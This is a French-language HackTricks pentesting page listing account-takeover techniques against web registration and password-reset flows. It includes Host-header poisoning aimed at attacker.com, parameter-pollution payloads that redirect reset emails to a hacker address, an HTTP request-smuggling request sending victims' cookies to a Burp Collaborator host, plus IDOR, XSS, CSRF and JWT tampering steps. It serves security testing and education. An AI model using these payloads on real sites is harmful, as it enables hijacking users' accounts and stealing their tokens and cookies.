hacktricks/pentesting-web/registration-vulnerabilities.md

Vulnérabilités d'Inscription & de Prise de Contrôle

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en Équipe Rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

• Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
• Obtenez le swag officiel PEASS & HackTricks
• Découvrez La Famille PEASS, notre collection exclusive de NFTs
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.

Prise de Contrôle de l'Inscription

Inscription en Double

• Essayez de générer en utilisant un nom d'utilisateur existant
• Vérifiez en variant l'e-mail :
  • majuscules
  • +1@
  • ajoutez des points dans l'e-mail
  • caractères spéciaux dans le nom de l'e-mail (%00, %09, %20)
  • Mettez des caractères noirs après l'e-mail : test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Énumération des Noms d'Utilisateur

Vérifiez si vous pouvez déterminer si un nom d'utilisateur a déjà été enregistré dans l'application.

Politique de Mot de Passe

En créant un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).
Dans ce cas, vous pouvez essayer de bruteforcer les informations d'identification.

Injection SQL

Consultez cette page pour apprendre comment tenter des prises de contrôle de compte ou extraire des informations via des Injections SQL dans les formulaires d'inscription.

Prises de Contrôle Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Vulnérabilités SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Changement d'E-mail

Une fois inscrit, essayez de changer l'e-mail et vérifiez si ce changement est correctement validé ou s'il peut être changé en e-mails arbitraires.

Autres Vérifications

• Vérifiez si vous pouvez utiliser des e-mails jetables
• Un mot de passe long (>200) entraîne un DoS
• Vérifiez les limites de taux sur la création de compte
• Utilisez username@burp_collab.net et analysez le callback

Prise de Contrôle de Réinitialisation de Mot de Passe

Fuite de Jeton de Réinitialisation de Mot de Passe Via Référent

1. Demandez la réinitialisation du mot de passe à votre adresse e-mail
2. Cliquez sur le lien de réinitialisation du mot de passe
3. Ne changez pas le mot de passe
4. Cliquez sur n'importe quel site tiers (par exemple : Facebook, Twitter)
5. Interceptez la requête dans le proxy Burp Suite
6. Vérifiez si l'en-tête referer divulgue le jeton de réinitialisation du mot de passe.

Empoisonnement de Réinitialisation de Mot de Passe

1. Interceptez la demande de réinitialisation de mot de passe dans Burp Suite
2. Ajoutez ou modifiez les en-têtes suivants dans Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
3. Transférez la demande avec l'en-tête modifié
   http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
4. Recherchez une URL de réinitialisation de mot de passe basée sur l'en-tête host comme : https://attacker.com/reset-password.php?token=TOKEN

Réinitialisation de Mot de Passe Via Paramètre E-mail

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR sur les paramètres de l'API

1. L'attaquant doit se connecter avec son compte et accéder à la fonctionnalité Changer de mot de passe.
2. Démarrer Burp Suite et intercepter la requête.
3. Envoyez-la à l'onglet repeater et modifiez les paramètres : ID utilisateur/email
   powershell POST /api/changepass [...] ("form": {"email":"victime@email.com","password":"motdepasse"})

Jeton de réinitialisation de mot de passe faible

Le jeton de réinitialisation de mot de passe doit être généré de manière aléatoire et unique à chaque fois.
Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans certains cas, l'algorithme de génération est faible et peut être deviné. Les variables suivantes peuvent être utilisées par l'algorithme.

• Horodatage
• ID utilisateur
• Email de l'utilisateur
• Prénom et nom de famille
• Date de naissance
• Cryptographie
• Nombre uniquement
• Petite séquence de jeton (caractères entre [A-Z,a-z,0-9])
• Réutilisation du jeton
• Date d'expiration du jeton

Fuite de jeton de réinitialisation de mot de passe

1. Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un e-mail spécifique, par exemple : test@mail.com
2. Inspectez la réponse du serveur et recherchez resetToken
3. Ensuite, utilisez le jeton dans une URL comme https://exemple.com/v3/user/password/reset?resetToken=[LE_JETON_DE_REINITIALISATION]&email=[L_EMAIL]

Réinitialisation de mot de passe via collision de nom d'utilisateur

1. Inscrivez-vous sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces blancs insérés avant et/ou après le nom d'utilisateur. par exemple : "admin "
2. Demandez une réinitialisation de mot de passe avec votre nom d'utilisateur malveillant.
3. Utilisez le jeton envoyé à votre e-mail et réinitialisez le mot de passe de la victime.
4. Connectez-vous au compte de la victime avec le nouveau mot de passe.

La plateforme CTFd était vulnérable à cette attaque.
Voir : CVE-2020-7245

Prise de contrôle de compte via Cross Site Scripting

1. Trouvez une XSS à l'intérieur de l'application ou d'un sous-domaine si les cookies sont définis sur le domaine parent : *.domaine.com
2. Fuite du cookie de session actuel
3. Authentifiez-vous en tant qu'utilisateur en utilisant le cookie

Prise de contrôle de compte via Smuggling de requête HTTP

1. Utilisez smuggler pour détecter le type de Smuggling de requête HTTP (CL, TE, CL.TE)
   powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
2. Créez une requête qui écrasera le POST / HTTP/1.1 avec les données suivantes :
   GET http://quelquechose.burpcollaborator.net HTTP/1.1 X: dans le but de rediriger les victimes vers burpcollab et de voler leurs cookies\
3. La requête finale pourrait ressembler à ce qui suit

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Prise de contrôle de compte via CSRF

1. Créer une charge utile pour le CSRF, par exemple : "Formulaire HTML avec soumission automatique pour un changement de mot de passe"
2. Envoyer la charge utile

Prise de contrôle de compte via JWT

Le jeton JSON Web peut être utilisé pour authentifier un utilisateur.

• Modifier le JWT avec un autre ID utilisateur / e-mail
• Vérifier la signature JWT faible

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Références

• https://salmonsec.com/cheatsheet/account_takeover

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

• Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
• Obtenez le swag officiel PEASS & HackTricks
• Découvrez The PEASS Family, notre collection exclusive de NFTs
• Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.